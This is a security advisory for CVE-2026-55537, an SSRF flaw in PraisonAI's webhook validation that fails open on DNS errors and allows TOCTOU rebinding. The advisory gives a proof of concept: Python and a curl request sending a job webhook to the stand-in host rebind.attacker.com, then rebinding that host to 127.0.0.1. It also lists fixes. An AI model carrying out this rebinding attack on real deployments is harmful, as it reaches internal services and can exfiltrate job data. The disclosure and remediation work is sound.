CVE-2026-55537: PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` — bypass of CVE-2026-40114

Published Aug 25, 2026
·
Updated

Summary

praisonai/jobs/models.py::JobSubmitRequest.validatewebhookurl() validates webhook URLs by resolving the hostname and checking whether the IP is private. When DNS resolution fails (socket.gaierror), the validator silently passes the URL via except socket.gaierror: pass. Additionally, even when DNS succeeds at validation time, the webhook is fired much later by JobExecutor.sendwebhook(), which calls httpx.AsyncClient().post(job.webhookurl) — performing a fresh, independent DNS lookup at execution time. Together, these flaws create a TOCTOU SSRF window.

An attacker can: 1. Submit a job with webhookurl pointing to a hostname that currently does not resolve (NXDOMAIN) → validation passes (gaierror → pass) 2. Update DNS to point that hostname to 127.0.0.1 or another private IP 3. When the job completes, sendwebhook() resolves the hostname fresh → POST sent to the internal IP

Details

Flaw 1 — Fail-open on DNS error (jobs/models.py lines 58-66):

python @fieldvalidator("webhookurl") @classmethod def validatewebhookurl(cls, v): ... try: ip = socket.gethostbyname(hostname) ipobj = ipaddress.ipaddress(ip) if ipobj.isprivate or ipobj.isloopback or ipobj.islinklocal: raise ValueError("Webhook URL resolves to private network address") except socket.gaierror: pass # <-- FAIL-OPEN: DNS failure allows the URL without restriction return v

When socket.gethostbyname(hostname) raises socket.gaierror (NXDOMAIN, timeout, network error during validation), execution flows to pass and the URL is accepted.

Flaw 2 — Fresh DNS at execution time (jobs/executor.py lines 376-406):

python async def sendwebhook(self, job: Job): async with httpx.AsyncClient(timeout=30.0) as client: response = await client.post( job.webhookurl, # <-- fresh DNS resolution here, not cached from validation json=payload, ... )

httpx.AsyncClient creates a new connection per call. DNS is resolved at execution time, completely independent of the validation-time resolution. The gap between submission and execution can be minutes to hours (depending on job queue depth and timeout settings).

Combined TOCTOU window:

T=0 Attacker submits: webhookurl = "http://rebind.attacker.com/cb" Validation: socket.gethostbyname("rebind.attacker.com") → gaierror (NXDOMAIN) Result: except socket.gaierror: pass → ACCEPTED

T=5 Attacker updates DNS: rebind.attacker.com A → 127.0.0.1 (TTL=60)

T=60 Job completes. sendwebhook() fires: httpx.post("http://rebind.attacker.com/cb") DNS: rebind.attacker.com → 127.0.0.1 POST reaches 127.0.0.1 → SSRF

Relation to CVE-2026-40114 / GHSA-8frj-8q3m-xhgm: That CVE covered "no URL validation at all" on the webhookurl parameter, patched in v4.5.126 by adding validatewebhookurl() to jobs/models.py. This finding targets the validation code itself — the except socket.gaierror: pass fail-open introduced in that patch. CVE-2026-40114: no validation. This bypass: validation present but fail-open on DNS error.

PoC

Requirements: A domain you control with configurable DNS TTL, access to the jobs API

Step 1 — Confirm fail-open behaviour (local code verification):

python from praisonai.jobs.models import JobSubmitRequest from unittest.mock import patch import socket

Simulate: hostname temporarily does not resolve with patch("socket.gethostbyname", sideeffect=socket.gaierror("NXDOMAIN")): req = JobSubmitRequest( prompt="hello", webhookurl="http://rebind.attacker.com/callback" ) # No exception raised — URL accepted despite NXDOMAIN print("Webhook accepted:", req.webhookurl)

Expected: Webhook accepted: http://rebind.attacker.com/callback

Step 2 — Confirm fresh DNS at execution time:

python From jobs/executor.py sendwebhook(): httpx.AsyncClient creates a new TCP connection (no DNS cache sharing with validator) Standard httpx behaviour: each .post() resolves DNS independently

import httpx, asyncio

async def demo(): # httpx resolves DNS here, not using any cached result from validation async with httpx.AsyncClient() as client: # This call resolves "rebind.attacker.com" fresh at runtime # If DNS changed since validation, it hits the new IP try: r = await client.post("http://rebind.attacker.com/callback", json={}) except Exception as e: print(f"Connection: {e}")

asyncio.run(demo())

Step 3 — Full attack scenario:

bash 1. Set up domain with short TTL, currently returning NXDOMAIN rebind.attacker.com → (no record, TTL=60)

2. Submit job via API curl -X POST http://praisonai-server:8000/jobs \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "prompt": "Calculate 2+2", "webhookurl": "http://rebind.attacker.com/callback" }' Response: {"jobid": "jobabc123", "status": "queued", ...}

3. After 5 seconds (before job finishes), add DNS record: rebind.attacker.com A 127.0.0.1 TTL=60

4. Wait for job to complete (seconds to minutes). sendwebhook() fires and resolves rebind.attacker.com → 127.0.0.1 POST request hits 127.0.0.1 (internal service)

If 127.0.0.1:80 is running a service, it receives: POST /callback HTTP/1.1 Content-Type: application/json {"jobid": "jobabc123", "status": "succeeded", "result": "4", ...}

Immediate variant (no DNS timing required):

If DNS resolution fails transiently (rate limit, network blip, temporary outage) during validation, the webhook is accepted unconditionally even for a URL that would normally resolve to a private IP. No attacker control over DNS timing is required — the attacker simply retries submission during moments when their DNS server is unreachable (e.g., their DNS server is down, causing gaierror).

Impact

What kind of vulnerability: Server-Side Request Forgery via TOCTOU DNS rebinding and validation fail-open.

Who is impacted: Any deployment exposing the PraisonAI Jobs API (POST /jobs) to external or lower-trusted callers. This includes:

- Multi-tenant deployments where workspace members submit jobs - API integrations (n8n, Zapier-style workflows) that provide webhookurl fields

Post-exploit capabilities: - HTTP POST to any internal service with JSON payload (job result data) - If an internal service interprets the POST body as commands (Jenkins webhook, Consul KV, etc.), this achieves code execution on internal infrastructure - Exfiltration of job results (which may include agent reasoning, data retrieved during the task, discovered credentials) to an attacker-controlled endpoint

---

Remediation Suggestion (for maintainers)

Fix 1 — Change gaierror handler to fail-closed (jobs/models.py line 63):

python VULNERABLE except socket.gaierror: pass

FIXED except socket.gaierror: raise ValueError( "Webhook URL hostname could not be resolved. " "Ensure the hostname is valid and publicly reachable." )

Fix 2 — Re-validate at execution time (jobs/executor.py before sendwebhook):

python async def sendwebhook(self, job: Job): if not job.webhookurl: return # Re-validate to prevent DNS rebinding try: from urllib.parse import urlparse import socket, ipaddress hostname = urlparse(job.webhookurl).hostname ip = socket.gethostbyname(hostname) if ipaddress.ipaddress(ip).isprivate: logger.warning(f"Webhook SSRF blocked at execution time: {job.webhookurl}") return except Exception as e: logger.warning(f"Webhook validation failed at execution: {e}") return # ... proceed with httpx.post

Other sources

PraisonAI is a multi-agent teams system. Prior to praisonai 4.6.58, JobSubmitRequest.validatewebhookurl() accepts webhookurl when resolution raises socket.gaierror because the exception path uses except socket.gaierror: pass. JobExecutor.sendwebhook() later performs a fresh lookup, allowing DNS changes to direct the request to an internal service. This issue is fixed in version 4.6.58.

MITRE

Affected Software

1 affected componentFixes available
pip/PraisonAI<4.6.58
4.6.58

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/PraisonAI to a version that resolves this vulnerability.

    Fixed in 4.6.58
  2. Upgrade

    Upgrade PraisonAI to a version that resolves this vulnerability.

    Fixed in 4.6.58
  3. Configuration

    Change the DNS validation error path in jobs/models.py from `except socket.gaierror: pass` to failing the webhook_url validation (fail-closed), so webhook_url is rejected when hostname resolution raises socket.gaierror.

    JobSubmitRequest.validate_webhook_url() (jobs/models.py) gaierror handling = fail-closed (do not silently accept on socket.gaierror)
  4. Configuration

    Re-validate webhook_url at execution time in jobs/executor.py (before _send_webhook performs the httpx.AsyncClient().post), ensuring DNS rebinding/TOCTOU changes cannot redirect the request to private/loopback/link-local targets.

    JobExecutor._send_webhook() (jobs/executor.py) DNS re-validation before webhook POST = re-validate hostname resolves to non-private IP at execution time (before httpx AsyncClient post)

Event History

Aug 25, 2026
CVE Published
via MITRE·02:58 PM
Data Sourced
via MITRE·02:58 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·02:59 PM
Data Sourced
via GitHub·02:59 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What access and control does an attacker need to exploit this issue?

An attacker needs low-privileged access sufficient to submit a job with a chosen webhook URL. They also need control over a hostname’s DNS behavior so it fails to resolve during validation and resolves to an internal address when the job executes.

2

At what point does the request reach the internal address?

The webhook is sent when the job completes. The executor performs a new DNS lookup at that time, so the address checked during submission is not necessarily the address used for the outbound POST.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203